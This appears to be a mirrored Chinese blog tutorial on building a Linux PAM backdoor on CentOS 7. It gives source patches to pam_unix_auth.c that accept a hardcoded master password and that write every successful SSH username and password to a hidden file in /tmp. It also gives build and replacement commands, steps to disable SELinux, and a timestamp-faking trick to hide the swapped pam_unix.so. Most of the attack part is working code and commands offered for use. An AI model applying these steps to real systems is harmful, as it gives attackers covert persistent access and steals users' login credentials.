8

Linux PAM后门:窃取ssh密码及自定义密码登录

 4 years ago
source link: https://y4er.com/post/linux-backdoor-pam/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
📅 2020年12月12日  ·  ☕ 2 分钟

PAM是Linux默认的ssh认证登录机制,因为他是开源的,我们可以修改源码实现自定义认证逻辑,达到记录密码、自定义密码登录、dns带外等功能。

  • CentOS Linux release 7.8.2003 (Core)
  • pam-1.1.8-23.el7.x86_64
image.png

centos需要关闭selinux,临时关闭setenforce 0。永久关闭需要修改/etc/selinux/config,将其中SELINUX设置为disabled。

image.png

自定义ssh密码

查看PAM版本rpm -qa|grep pam

下载对应源码:http://www.linux-pam.org/library/

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar zxvf Linux-PAM-1.1.8.tar.gz

安装gcc编译器和flex库

yum install gcc flex flex-devel -y

修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c源码实现自定义密码认证

image.png
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;}
name = p = NULL;

编译生成so文件

cd Linux-PAM-1.1.8
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

生成的恶意认证so路径在./modules/pam_unix/.libs/pam_unix.so。用它来替换系统自带的pam_unix.so。

因为系统不同位数不同,pam_unix.so的路径也不一样,尽量用find找一下。

image.png

然后替换,注意先备份,万一恶意的so文件不可用就GG了。

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bak
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

image.png

此时先别急着断开ssh,先试一下能不能用我们设置的fuckyou密码登录。

image.png

成功登录,后门也就留好了。为了隐蔽,修改下pam_unix.so的时间戳。

touch pam_unix.so -r pam_umask.so
image.png

同样编辑modules/pam_unix/pam_unix_auth.c文件

image.png
if(retval == PAM_SUCCESS){
    FILE * fp;
    fp = fopen("/tmp/.sshlog", "a");
    fprintf(fp, "%s : %s\n", name, p);
    fclose(fp);
}

ssh密码会被记录到/tmp/.sshlog中。编译并替换so

cd Linux-PAM-1.1.8
make clean && make
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

此时登录ssh会记录密码

image.png

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK